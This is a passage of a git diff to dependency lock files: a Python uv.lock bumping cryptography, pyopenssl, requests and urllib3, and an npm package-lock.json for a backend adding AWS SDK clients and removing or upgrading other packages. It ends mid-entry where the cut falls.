+    { url = "https://files.pythonhosted.org/packages/69/33/60dfc4595f334a2082749673386a4d05e4f0cf4df8248e63b2c3437585f2/cryptography-46.0.7-cp311-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:9694078c5d44c157ef3162e3bf3946510b857df5a3955458381d1c7cfc143ddb", size = 4892883, upload-time = "2026-04-08T01:56:32.614Z" },
+    { url = "https://files.pythonhosted.org/packages/c7/0b/333ddab4270c4f5b972f980adef4faa66951a4aaf646ca067af597f15563/cryptography-46.0.7-cp311-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:42a1e5f98abb6391717978baf9f90dc28a743b7d9be7f0751a6f56a75d14065b", size = 4459756, upload-time = "2026-04-08T01:56:34.306Z" },
+    { url = "https://files.pythonhosted.org/packages/d2/14/633913398b43b75f1234834170947957c6b623d1701ffc7a9600da907e89/cryptography-46.0.7-cp311-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:91bbcb08347344f810cbe49065914fe048949648f6bd5c2519f34619142bbe85", size = 4410244, upload-time = "2026-04-08T01:56:35.977Z" },
+    { url = "https://files.pythonhosted.org/packages/10/f2/19ceb3b3dc14009373432af0c13f46aa08e3ce334ec6eff13492e1812ccd/cryptography-46.0.7-cp311-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:5d1c02a14ceb9148cc7816249f64f623fbfee39e8c03b3650d842ad3f34d637e", size = 4674868, upload-time = "2026-04-08T01:56:38.034Z" },
+    { url = "https://files.pythonhosted.org/packages/1a/bb/a5c213c19ee94b15dfccc48f363738633a493812687f5567addbcbba9f6f/cryptography-46.0.7-cp311-abi3-win32.whl", hash = "sha256:d23c8ca48e44ee015cd0a54aeccdf9f09004eba9fc96f38c911011d9ff1bd457", size = 3026504, upload-time = "2026-04-08T01:56:39.666Z" },
+    { url = "https://files.pythonhosted.org/packages/2b/02/7788f9fefa1d060ca68717c3901ae7fffa21ee087a90b7f23c7a603c32ae/cryptography-46.0.7-cp311-abi3-win_amd64.whl", hash = "sha256:397655da831414d165029da9bc483bed2fe0e75dde6a1523ec2fe63f3c46046b", size = 3488363, upload-time = "2026-04-08T01:56:41.893Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/56/15619b210e689c5403bb0540e4cb7dbf11a6bf42e483b7644e471a2812b3/cryptography-46.0.7-cp314-cp314t-macosx_10_9_universal2.whl", hash = "sha256:d151173275e1728cf7839aaa80c34fe550c04ddb27b34f48c232193df8db5842", size = 7119671, upload-time = "2026-04-08T01:56:44Z" },
+    { url = "https://files.pythonhosted.org/packages/74/66/e3ce040721b0b5599e175ba91ab08884c75928fbeb74597dd10ef13505d2/cryptography-46.0.7-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:db0f493b9181c7820c8134437eb8b0b4792085d37dbb24da050476ccb664e59c", size = 4268551, upload-time = "2026-04-08T01:56:46.071Z" },
+    { url = "https://files.pythonhosted.org/packages/03/11/5e395f961d6868269835dee1bafec6a1ac176505a167f68b7d8818431068/cryptography-46.0.7-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:ebd6daf519b9f189f85c479427bbd6e9c9037862cf8fe89ee35503bd209ed902", size = 4408887, upload-time = "2026-04-08T01:56:47.718Z" },
+    { url = "https://files.pythonhosted.org/packages/40/53/8ed1cf4c3b9c8e611e7122fb56f1c32d09e1fff0f1d77e78d9ff7c82653e/cryptography-46.0.7-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:b7b412817be92117ec5ed95f880defe9cf18a832e8cafacf0a22337dc1981b4d", size = 4271354, upload-time = "2026-04-08T01:56:49.312Z" },
+    { url = "https://files.pythonhosted.org/packages/50/46/cf71e26025c2e767c5609162c866a78e8a2915bbcfa408b7ca495c6140c4/cryptography-46.0.7-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:fbfd0e5f273877695cb93baf14b185f4878128b250cc9f8e617ea0c025dfb022", size = 4905845, upload-time = "2026-04-08T01:56:50.916Z" },
+    { url = "https://files.pythonhosted.org/packages/c0/ea/01276740375bac6249d0a971ebdf6b4dc9ead0ee0a34ef3b5a88c1a9b0d4/cryptography-46.0.7-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:ffca7aa1d00cf7d6469b988c581598f2259e46215e0140af408966a24cf086ce", size = 4444641, upload-time = "2026-04-08T01:56:52.882Z" },
+    { url = "https://files.pythonhosted.org/packages/3d/4c/7d258f169ae71230f25d9f3d06caabcff8c3baf0978e2b7d65e0acac3827/cryptography-46.0.7-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:60627cf07e0d9274338521205899337c5d18249db56865f943cbe753aa96f40f", size = 3967749, upload-time = "2026-04-08T01:56:54.597Z" },
+    { url = "https://files.pythonhosted.org/packages/b5/2a/2ea0767cad19e71b3530e4cad9605d0b5e338b6a1e72c37c9c1ceb86c333/cryptography-46.0.7-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:80406c3065e2c55d7f49a9550fe0c49b3f12e5bfff5dedb727e319e1afb9bf99", size = 4270942, upload-time = "2026-04-08T01:56:56.416Z" },
+    { url = "https://files.pythonhosted.org/packages/41/3d/fe14df95a83319af25717677e956567a105bb6ab25641acaa093db79975d/cryptography-46.0.7-cp314-cp314t-manylinux_2_34_ppc64le.whl", hash = "sha256:c5b1ccd1239f48b7151a65bc6dd54bcfcc15e028c8ac126d3fada09db0e07ef1", size = 4871079, upload-time = "2026-04-08T01:56:58.31Z" },
+    { url = "https://files.pythonhosted.org/packages/9c/59/4a479e0f36f8f378d397f4eab4c850b4ffb79a2f0d58704b8fa0703ddc11/cryptography-46.0.7-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:d5f7520159cd9c2154eb61eb67548ca05c5774d39e9c2c4339fd793fe7d097b2", size = 4443999, upload-time = "2026-04-08T01:57:00.508Z" },
+    { url = "https://files.pythonhosted.org/packages/28/17/b59a741645822ec6d04732b43c5d35e4ef58be7bfa84a81e5ae6f05a1d33/cryptography-46.0.7-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:fcd8eac50d9138c1d7fc53a653ba60a2bee81a505f9f8850b6b2888555a45d0e", size = 4399191, upload-time = "2026-04-08T01:57:02.654Z" },
+    { url = "https://files.pythonhosted.org/packages/59/6a/bb2e166d6d0e0955f1e9ff70f10ec4b2824c9cfcdb4da772c7dd69cc7d80/cryptography-46.0.7-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:65814c60f8cc400c63131584e3e1fad01235edba2614b61fbfbfa954082db0ee", size = 4655782, upload-time = "2026-04-08T01:57:04.592Z" },
+    { url = "https://files.pythonhosted.org/packages/95/b6/3da51d48415bcb63b00dc17c2eff3a651b7c4fed484308d0f19b30e8cb2c/cryptography-46.0.7-cp314-cp314t-win32.whl", hash = "sha256:fdd1736fed309b4300346f88f74cd120c27c56852c3838cab416e7a166f67298", size = 3002227, upload-time = "2026-04-08T01:57:06.91Z" },
+    { url = "https://files.pythonhosted.org/packages/32/a8/9f0e4ed57ec9cebe506e58db11ae472972ecb0c659e4d52bbaee80ca340a/cryptography-46.0.7-cp314-cp314t-win_amd64.whl", hash = "sha256:e06acf3c99be55aa3b516397fe42f5855597f430add9c17fa46bf2e0fb34c9bb", size = 3475332, upload-time = "2026-04-08T01:57:08.807Z" },
+    { url = "https://files.pythonhosted.org/packages/a7/7f/cd42fc3614386bc0c12f0cb3c4ae1fc2bbca5c9662dfed031514911d513d/cryptography-46.0.7-cp38-abi3-macosx_10_9_universal2.whl", hash = "sha256:462ad5cb1c148a22b2e3bcc5ad52504dff325d17daf5df8d88c17dda1f75f2a4", size = 7165618, upload-time = "2026-04-08T01:57:10.645Z" },
+    { url = "https://files.pythonhosted.org/packages/a5/d0/36a49f0262d2319139d2829f773f1b97ef8aef7f97e6e5bd21455e5a8fb5/cryptography-46.0.7-cp38-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:84d4cced91f0f159a7ddacad249cc077e63195c36aac40b4150e7a57e84fffe7", size = 4270628, upload-time = "2026-04-08T01:57:12.885Z" },
+    { url = "https://files.pythonhosted.org/packages/8a/6c/1a42450f464dda6ffbe578a911f773e54dd48c10f9895a23a7e88b3e7db5/cryptography-46.0.7-cp38-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:128c5edfe5e5938b86b03941e94fac9ee793a94452ad1365c9fc3f4f62216832", size = 4415405, upload-time = "2026-04-08T01:57:14.923Z" },
+    { url = "https://files.pythonhosted.org/packages/9a/92/4ed714dbe93a066dc1f4b4581a464d2d7dbec9046f7c8b7016f5286329e2/cryptography-46.0.7-cp38-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:5e51be372b26ef4ba3de3c167cd3d1022934bc838ae9eaad7e644986d2a3d163", size = 4272715, upload-time = "2026-04-08T01:57:16.638Z" },
+    { url = "https://files.pythonhosted.org/packages/b7/e6/a26b84096eddd51494bba19111f8fffe976f6a09f132706f8f1bf03f51f7/cryptography-46.0.7-cp38-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:cdf1a610ef82abb396451862739e3fc93b071c844399e15b90726ef7470eeaf2", size = 4918400, upload-time = "2026-04-08T01:57:19.021Z" },
+    { url = "https://files.pythonhosted.org/packages/c7/08/ffd537b605568a148543ac3c2b239708ae0bd635064bab41359252ef88ed/cryptography-46.0.7-cp38-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:1d25aee46d0c6f1a501adcddb2d2fee4b979381346a78558ed13e50aa8a59067", size = 4450634, upload-time = "2026-04-08T01:57:21.185Z" },
+    { url = "https://files.pythonhosted.org/packages/16/01/0cd51dd86ab5b9befe0d031e276510491976c3a80e9f6e31810cce46c4ad/cryptography-46.0.7-cp38-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:cdfbe22376065ffcf8be74dc9a909f032df19bc58a699456a21712d6e5eabfd0", size = 3985233, upload-time = "2026-04-08T01:57:22.862Z" },
+    { url = "https://files.pythonhosted.org/packages/92/49/819d6ed3a7d9349c2939f81b500a738cb733ab62fbecdbc1e38e83d45e12/cryptography-46.0.7-cp38-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:abad9dac36cbf55de6eb49badd4016806b3165d396f64925bf2999bcb67837ba", size = 4271955, upload-time = "2026-04-08T01:57:24.814Z" },
+    { url = "https://files.pythonhosted.org/packages/80/07/ad9b3c56ebb95ed2473d46df0847357e01583f4c52a85754d1a55e29e4d0/cryptography-46.0.7-cp38-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:935ce7e3cfdb53e3536119a542b839bb94ec1ad081013e9ab9b7cfd478b05006", size = 4879888, upload-time = "2026-04-08T01:57:26.88Z" },
+    { url = "https://files.pythonhosted.org/packages/b8/c7/201d3d58f30c4c2bdbe9b03844c291feb77c20511cc3586daf7edc12a47b/cryptography-46.0.7-cp38-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:35719dc79d4730d30f1c2b6474bd6acda36ae2dfae1e3c16f2051f215df33ce0", size = 4449961, upload-time = "2026-04-08T01:57:29.068Z" },
+    { url = "https://files.pythonhosted.org/packages/a5/ef/649750cbf96f3033c3c976e112265c33906f8e462291a33d77f90356548c/cryptography-46.0.7-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:7bbc6ccf49d05ac8f7d7b5e2e2c33830d4fe2061def88210a126d130d7f71a85", size = 4401696, upload-time = "2026-04-08T01:57:31.029Z" },
+    { url = "https://files.pythonhosted.org/packages/41/52/a8908dcb1a389a459a29008c29966c1d552588d4ae6d43f3a1a4512e0ebe/cryptography-46.0.7-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:a1529d614f44b863a7b480c6d000fe93b59acee9c82ffa027cfadc77521a9f5e", size = 4664256, upload-time = "2026-04-08T01:57:33.144Z" },
+    { url = "https://files.pythonhosted.org/packages/4b/fa/f0ab06238e899cc3fb332623f337a7364f36f4bb3f2534c2bb95a35b132c/cryptography-46.0.7-cp38-abi3-win32.whl", hash = "sha256:f247c8c1a1fb45e12586afbb436ef21ff1e80670b2861a90353d9b025583d246", size = 3013001, upload-time = "2026-04-08T01:57:34.933Z" },
+    { url = "https://files.pythonhosted.org/packages/d2/f1/00ce3bde3ca542d1acd8f8cfa38e446840945aa6363f9b74746394b14127/cryptography-46.0.7-cp38-abi3-win_amd64.whl", hash = "sha256:506c4ff91eff4f82bdac7633318a526b1d1309fc07ca76a3ad182cb5b686d6d3", size = 3472985, upload-time = "2026-04-08T01:57:36.714Z" },
 ]
 
 [[package]]
@@ -470,15 +467,15 @@ wheels = [
 
 [[package]]
 name = "pyopenssl"
-version = "25.3.0"
+version = "26.0.0"
 source = { registry = "https://pypi.org/simple" }
 dependencies = [
     { name = "cryptography" },
     { name = "typing-extensions", marker = "python_full_version < '3.13'" },
 ]
-sdist = { url = "https://files.pythonhosted.org/packages/80/be/97b83a464498a79103036bc74d1038df4a7ef0e402cfaf4d5e113fb14759/pyopenssl-25.3.0.tar.gz", hash = "sha256:c981cb0a3fd84e8602d7afc209522773b94c1c2446a3c710a75b06fe1beae329", size = 184073, upload-time = "2025-09-17T00:32:21.037Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/8e/11/a62e1d33b373da2b2c2cd9eb508147871c80f12b1cacde3c5d314922afdd/pyopenssl-26.0.0.tar.gz", hash = "sha256:f293934e52936f2e3413b89c6ce36df66a0b34ae1ea3a053b8c5020ff2f513fc", size = 185534, upload-time = "2026-03-15T14:28:26.353Z" }
 wheels = [
-    { url = "https://files.pythonhosted.org/packages/d1/81/ef2b1dfd1862567d573a4fdbc9f969067621764fbb74338496840a1d2977/pyopenssl-25.3.0-py3-none-any.whl", hash = "sha256:1fda6fc034d5e3d179d39e59c1895c9faeaf40a79de5fc4cbbfbe0d36f4a77b6", size = 57268, upload-time = "2025-09-17T00:32:19.474Z" },
+    { url = "https://files.pythonhosted.org/packages/fb/7d/d4f7d908fa8415571771b30669251d57c3cf313b36a856e6d7548ae01619/pyopenssl-26.0.0-py3-none-any.whl", hash = "sha256:df94d28498848b98cc1c0ffb8ef1e71e40210d3b0a8064c9d29571ed2904bf81", size = 57969, upload-time = "2026-03-15T14:28:24.864Z" },
 ]
 
 [[package]]
@@ -501,7 +498,7 @@ wheels = [
 
 [[package]]
 name = "requests"
-version = "2.32.5"
+version = "2.33.1"
 source = { registry = "https://pypi.org/simple" }
 dependencies = [
     { name = "certifi" },
@@ -509,9 +506,9 @@ dependencies = [
     { name = "idna" },
     { name = "urllib3" },
 ]
-sdist = { url = "https://files.pythonhosted.org/packages/c9/74/b3ff8e6c8446842c3f5c837e9c3dfcfe2018ea6ecef224c710c85ef728f4/requests-2.32.5.tar.gz", hash = "sha256:dbba0bac56e100853db0ea71b82b4dfd5fe2bf6d3754a8893c3af500cec7d7cf", size = 134517, upload-time = "2025-08-18T20:46:02.573Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/5f/a4/98b9c7c6428a668bf7e42ebb7c79d576a1c3c1e3ae2d47e674b468388871/requests-2.33.1.tar.gz", hash = "sha256:18817f8c57c6263968bc123d237e3b8b08ac046f5456bd1e307ee8f4250d3517", size = 134120, upload-time = "2026-03-30T16:09:15.531Z" }
 wheels = [
-    { url = "https://files.pythonhosted.org/packages/1e/db/4254e3eabe8020b458f1a747140d32277ec7a271daf1d235b70dc0b4e6e3/requests-2.32.5-py3-none-any.whl", hash = "sha256:2462f94637a34fd532264295e186976db0f5d453d1cdd31473c85a6a161affb6", size = 64738, upload-time = "2025-08-18T20:46:00.542Z" },
+    { url = "https://files.pythonhosted.org/packages/d7/8e/7540e8a2036f79a125c1d2ebadf69ed7901608859186c856fa0388ef4197/requests-2.33.1-py3-none-any.whl", hash = "sha256:4e6d1ef462f3626a1f0a0a9c42dd93c63bad33f9f1c1937509b8c5c8718ab56a", size = 64947, upload-time = "2026-03-30T16:09:13.83Z" },
 ]
 
 [[package]]
@@ -552,9 +549,9 @@ wheels = [
 
 [[package]]
 name = "urllib3"
-version = "2.5.0"
+version = "2.6.3"
 source = { registry = "https://pypi.org/simple" }
-sdist = { url = "https://files.pythonhosted.org/packages/15/22/9ee70a2574a4f4599c47dd506532914ce044817c7752a79b6a51286319bc/urllib3-2.5.0.tar.gz", hash = "sha256:3fc47733c7e419d4bc3f6b3dc2b4f890bb743906a30d56ba4a5bfa4bbff92760", size = 393185, upload-time = "2025-06-18T14:07:41.644Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/c7/24/5f1b3bdffd70275f6661c76461e25f024d5a38a46f04aaca912426a2b1d3/urllib3-2.6.3.tar.gz", hash = "sha256:1b62b6884944a57dbe321509ab94fd4d3b307075e0c2eae991ac71ee15ad38ed", size = 435556, upload-time = "2026-01-07T16:24:43.925Z" }
 wheels = [
-    { url = "https://files.pythonhosted.org/packages/a7/c2/fe1e52489ae3122415c51f387e221dd0773709bad6c6cdaa599e8a2c5185/urllib3-2.5.0-py3-none-any.whl", hash = "sha256:e6b01673c0fa6a13e374b50871808eb3bf7046c4b125b216f6bf1cc604cff0dc", size = 129795, upload-time = "2025-06-18T14:07:40.39Z" },
+    { url = "https://files.pythonhosted.org/packages/39/08/aaaad47bc4e9dc8c725e68f9d04865dbcb2052843ff09c97b08904852d84/urllib3-2.6.3-py3-none-any.whl", hash = "sha256:bf272323e553dfb2e87d9bfd225ca7b0f467b919d7bbd355436d3fd37cb0acd4", size = 131584, upload-time = "2026-01-07T16:24:42.685Z" },
 ]
diff --git a/backend/package-lock.json b/backend/package-lock.json
index 56ed467259c..6c0db7c3751 100644
--- a/backend/package-lock.json
+++ b/backend/package-lock.json
@@ -10,12 +10,15 @@
       "license": "ISC",
       "dependencies": {
         "@ai-sdk/anthropic": "^3.0.68",
+        "@aws-sdk/client-acm": "^3.1030.0",
         "@aws-sdk/client-acm-pca": "^3.992.0",
+        "@aws-sdk/client-elastic-load-balancing-v2": "^3.1015.0",
         "@aws-sdk/client-elasticache": "^3.637.0",
         "@aws-sdk/client-iam": "^3.525.0",
         "@aws-sdk/client-kms": "^3.609.0",
         "@aws-sdk/client-route-53": "^3.810.0",
         "@aws-sdk/client-secrets-manager": "^3.504.0",
+        "@aws-sdk/client-ssm": "^3.1015.0",
         "@aws-sdk/client-sts": "^3.600.0",
         "@casl/ability": "^6.5.0",
         "@clickhouse/client": "^1.17.0",
@@ -36,7 +39,7 @@
         "@fastify/swagger-ui": "^3.1.0",
         "@fastify/websocket": "^10.0.1",
         "@gitbeaker/rest": "^42.5.0",
-        "@google-cloud/kms": "^4.5.0",
+        "@google-cloud/kms": "^5.4.0",
         "@infisical/ldapjs": "3.0.11",
         "@infisical/pg-view-generator": "^1.1.0",
         "@infisical/quic": "^1.0.8",
@@ -46,7 +49,6 @@
         "@octokit/core": "^5.2.1",
         "@octokit/plugin-paginate-graphql": "^4.0.1",
         "@octokit/plugin-retry": "^5.0.5",
-        "@octokit/request": "8.4.1",
         "@octokit/rest": "^20.0.2",
         "@octokit/webhooks-types": "^7.3.1",
         "@octopusdeploy/api-client": "^3.4.1",
@@ -58,12 +60,9 @@
         "@opentelemetry/resources": "^1.28.0",
         "@opentelemetry/sdk-metrics": "^1.28.0",
         "@opentelemetry/semantic-conventions": "^1.27.0",
-        "@peculiar/asn1-cms": "^2.6.1",
-        "@peculiar/asn1-pkcs9": "^2.6.1",
         "@peculiar/asn1-schema": "^2.3.8",
         "@peculiar/x509": "^1.12.1",
         "@react-email/components": "^1.0.1",
-        "@serdnam/pino-cloudwatch-transport": "^1.0.4",
         "@simplewebauthn/server": "^13.2.2",
         "@sindresorhus/slugify": "1.1.0",
         "@slack/oauth": "^3.0.2",
@@ -72,11 +71,9 @@
         "@ucast/mongo2js": "^1.3.4",
         "acme-client": "^5.4.0",
         "ai": "^6.0.154",
-        "ajv": "^8.12.0",
         "argon2": "^0.31.2",
         "asn1js": "^3.0.6",
-        "aws-sdk": "^2.1553.0",
-        "axios": "^1.12.0",
+        "axios": "^1.15.0",
         "axios-ntlm": "^1.4.4",
         "axios-retry": "^4.0.0",
         "bcrypt": "^5.1.1",
@@ -96,9 +93,7 @@
         "hdb": "^0.19.10",
         "ioredis": "^5.3.2",
         "isomorphic-dompurify": "^2.22.0",
-        "jmespath": "^0.16.0",
         "jose": "^6.1.0",
-        "js-yaml": "^4.1.0",
         "jsonwebtoken": "^9.0.2",
         "jsrp": "^0.2.4",
         "jwks-rsa": "^3.1.0",
@@ -114,7 +109,7 @@
         "nanoid": "^3.3.8",
         "netmask": "^2.0.2",
         "node-forge": "^1.3.2",
-        "nodemailer": "^7.0.12",
+        "nodemailer": "^8.0.5",
         "oci-common": "^2.108.0",
         "oci-identity": "^2.108.0",
         "oci-keymanagement": "^2.108.0",
@@ -167,8 +162,6 @@
         "@smithy/types": "^4.3.1",
         "@types/bcrypt": "^5.0.2",
         "@types/dns-packet": "^5.6.5",
-        "@types/jmespath": "^0.15.2",
-        "@types/js-yaml": "^4.0.9",
         "@types/jsonwebtoken": "^9.0.5",
         "@types/jsrp": "^0.2.6",
         "@types/libsodium-wrappers": "^0.7.13",
@@ -201,11 +194,9 @@
         "eslint-plugin-simple-import-sort": "^10.0.0",
         "nock": "^14.0.10",
         "nodemon": "^3.0.2",
-        "ora": "^7.0.1",
         "pino-pretty": "^10.2.3",
         "prompt-sync": "^4.2.0",
         "react-email": "^5.0.6",
-        "rimraf": "^5.0.5",
         "ts-node": "^10.9.2",
         "tsc-alias": "^1.8.8",
         "tsconfig-paths": "^4.2.0",
@@ -521,6 +512,57 @@
         "node": ">=14.0.0"
       }
     },
+    "node_modules/@aws-sdk/client-acm": {
+      "version": "3.1031.0",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/client-acm/-/client-acm-3.1031.0.tgz",
+      "integrity": "sha512-QJxeg+GsXlAVdgiNgUb0pSUhoLP4x8S4VPFLGmimJx212/kfbNwBH+T7r5os09KR8U5gBAe2U8VLJhyF8dUl7w==",
+      "license": "Apache-2.0",
+      "dependencies": {
+        "@aws-crypto/sha256-browser": "5.2.0",
+        "@aws-crypto/sha256-js": "5.2.0",
+        "@aws-sdk/core": "^3.974.0",
+        "@aws-sdk/credential-provider-node": "^3.972.31",
+        "@aws-sdk/middleware-host-header": "^3.972.10",
+        "@aws-sdk/middleware-logger": "^3.972.10",
+        "@aws-sdk/middleware-recursion-detection": "^3.972.11",
+        "@aws-sdk/middleware-user-agent": "^3.972.30",
+        "@aws-sdk/region-config-resolver": "^3.972.12",
+        "@aws-sdk/types": "^3.973.8",
+        "@aws-sdk/util-endpoints": "^3.996.7",
+        "@aws-sdk/util-user-agent-browser": "^3.972.10",
+        "@aws-sdk/util-user-agent-node": "^3.973.16",
+        "@smithy/config-resolver": "^4.4.16",
+        "@smithy/core": "^3.23.15",
+        "@smithy/fetch-http-handler": "^5.3.17",
+        "@smithy/hash-node": "^4.2.14",
+        "@smithy/invalid-dependency": "^4.2.14",
+        "@smithy/middleware-content-length": "^4.2.14",
+        "@smithy/middleware-endpoint": "^4.4.30",
+        "@smithy/middleware-retry": "^4.5.3",
+        "@smithy/middleware-serde": "^4.2.18",
+        "@smithy/middleware-stack": "^4.2.14",
+        "@smithy/node-config-provider": "^4.3.14",
+        "@smithy/node-http-handler": "^4.5.3",
+        "@smithy/protocol-http": "^5.3.14",
+        "@smithy/smithy-client": "^4.12.11",
+        "@smithy/types": "^4.14.1",
+        "@smithy/url-parser": "^4.2.14",
+        "@smithy/util-base64": "^4.3.2",
+        "@smithy/util-body-length-browser": "^4.2.2",
+        "@smithy/util-body-length-node": "^4.2.3",
+        "@smithy/util-defaults-mode-browser": "^4.3.47",
+        "@smithy/util-defaults-mode-node": "^4.2.52",
+        "@smithy/util-endpoints": "^3.4.1",
+        "@smithy/util-middleware": "^4.2.14",
+        "@smithy/util-retry": "^4.3.2",
+        "@smithy/util-utf8": "^4.2.2",
+        "@smithy/util-waiter": "^4.2.16",
+        "tslib": "^2.6.2"
+      },
+      "engines": {
+        "node": ">=20.0.0"
+      }
+    },
     "node_modules/@aws-sdk/client-acm-pca": {
       "version": "3.992.0",
       "resolved": "https://registry.npmjs.org/@aws-sdk/client-acm-pca/-/client-acm-pca-3.992.0.tgz",
@@ -588,53 +630,51 @@
         "node": ">=20.0.0"
       }
     },
-    "node_modules/@aws-sdk/client-cloudwatch-logs": {
-      "version": "3.1020.0",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/client-cloudwatch-logs/-/client-cloudwatch-logs-3.1020.0.tgz",
-      "integrity": "sha512-ezS+wZbSJYbncXtfO0BOyNdqeRnKPSRPZNq111aydoZoW0Q/FnTiRbISZoMLqOCnwJVOX3EZMGNGpUvVyJ+CGQ==",
+    "node_modules/@aws-sdk/client-elastic-load-balancing-v2": {
+      "version": "3.1037.0",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/client-elastic-load-balancing-v2/-/client-elastic-load-balancing-v2-3.1037.0.tgz",
+      "integrity": "sha512-GwlGNTz8IrsJuAx8e50jzzMj3JPAHaMFupXsJoSjvb44p7UDS+Qr4NgSV7AkJ6KH9KMiWf3zlWFpAN9VoHbS9w==",
       "license": "Apache-2.0",
       "dependencies": {
         "@aws-crypto/sha256-browser": "5.2.0",
         "@aws-crypto/sha256-js": "5.2.0",
-        "@aws-sdk/core": "^3.973.26",
-        "@aws-sdk/credential-provider-node": "^3.972.28",
-        "@aws-sdk/middleware-host-header": "^3.972.8",
-        "@aws-sdk/middleware-logger": "^3.972.8",
-        "@aws-sdk/middleware-recursion-detection": "^3.972.9",
-        "@aws-sdk/middleware-user-agent": "^3.972.27",
-        "@aws-sdk/region-config-resolver": "^3.972.10",
-        "@aws-sdk/types": "^3.973.6",
-        "@aws-sdk/util-endpoints": "^3.996.5",
-        "@aws-sdk/util-user-agent-browser": "^3.972.8",
-        "@aws-sdk/util-user-agent-node": "^3.973.13",
-        "@smithy/config-resolver": "^4.4.13",
-        "@smithy/core": "^3.23.13",
-        "@smithy/eventstream-serde-browser": "^4.2.12",
-        "@smithy/eventstream-serde-config-resolver": "^4.3.12",
-        "@smithy/eventstream-serde-node": "^4.2.12",
-        "@smithy/fetch-http-handler": "^5.3.15",
-        "@smithy/hash-node": "^4.2.12",
-        "@smithy/invalid-dependency": "^4.2.12",
-        "@smithy/middleware-content-length": "^4.2.12",
-        "@smithy/middleware-endpoint": "^4.4.28",
-        "@smithy/middleware-retry": "^4.4.45",
-        "@smithy/middleware-serde": "^4.2.16",
-        "@smithy/middleware-stack": "^4.2.12",
-        "@smithy/node-config-provider": "^4.3.12",
-        "@smithy/node-http-handler": "^4.5.1",
-        "@smithy/protocol-http": "^5.3.12",
-        "@smithy/smithy-client": "^4.12.8",
-        "@smithy/types": "^4.13.1",
-        "@smithy/url-parser": "^4.2.12",
+        "@aws-sdk/core": "^3.974.5",
+        "@aws-sdk/credential-provider-node": "^3.972.36",
+        "@aws-sdk/middleware-host-header": "^3.972.10",
+        "@aws-sdk/middleware-logger": "^3.972.10",
+        "@aws-sdk/middleware-recursion-detection": "^3.972.11",
+        "@aws-sdk/middleware-user-agent": "^3.972.35",
+        "@aws-sdk/region-config-resolver": "^3.972.13",
+        "@aws-sdk/types": "^3.973.8",
+        "@aws-sdk/util-endpoints": "^3.996.8",
+        "@aws-sdk/util-user-agent-browser": "^3.972.10",
+        "@aws-sdk/util-user-agent-node": "^3.973.21",
+        "@smithy/config-resolver": "^4.4.17",
+        "@smithy/core": "^3.23.17",
+        "@smithy/fetch-http-handler": "^5.3.17",
+        "@smithy/hash-node": "^4.2.14",
+        "@smithy/invalid-dependency": "^4.2.14",
+        "@smithy/middleware-content-length": "^4.2.14",
+        "@smithy/middleware-endpoint": "^4.4.32",
+        "@smithy/middleware-retry": "^4.5.5",
+        "@smithy/middleware-serde": "^4.2.20",
+        "@smithy/middleware-stack": "^4.2.14",
+        "@smithy/node-config-provider": "^4.3.14",
+        "@smithy/node-http-handler": "^4.6.1",
+        "@smithy/protocol-http": "^5.3.14",
+        "@smithy/smithy-client": "^4.12.13",
+        "@smithy/types": "^4.14.1",
+        "@smithy/url-parser": "^4.2.14",
         "@smithy/util-base64": "^4.3.2",
         "@smithy/util-body-length-browser": "^4.2.2",
         "@smithy/util-body-length-node": "^4.2.3",
-        "@smithy/util-defaults-mode-browser": "^4.3.44",
-        "@smithy/util-defaults-mode-node": "^4.2.48",
-        "@smithy/util-endpoints": "^3.3.3",
-        "@smithy/util-middleware": "^4.2.12",
-        "@smithy/util-retry": "^4.2.12",
+        "@smithy/util-defaults-mode-browser": "^4.3.49",
+        "@smithy/util-defaults-mode-node": "^4.2.54",
+        "@smithy/util-endpoints": "^3.4.2",
+        "@smithy/util-middleware": "^4.2.14",
+        "@smithy/util-retry": "^4.3.4",
         "@smithy/util-utf8": "^4.2.2",
+        "@smithy/util-waiter": "^4.2.16",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -1013,6 +1053,57 @@
         "node": ">=20.0.0"
       }
     },
+    "node_modules/@aws-sdk/client-ssm": {
+      "version": "3.1037.0",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/client-ssm/-/client-ssm-3.1037.0.tgz",
+      "integrity": "sha512-bpOon1QQ+FN1yH7NbjjHnyQ7y5xPvS/3vS2nL3+e2+Iu9sA+WJwgwquk6N+U1EtnAuGPAl9eNzk0GnEHaIwAOQ==",
+      "license": "Apache-2.0",
+      "dependencies": {
+        "@aws-crypto/sha256-browser": "5.2.0",
+        "@aws-crypto/sha256-js": "5.2.0",
+        "@aws-sdk/core": "^3.974.5",
+        "@aws-sdk/credential-provider-node": "^3.972.36",
+        "@aws-sdk/middleware-host-header": "^3.972.10",
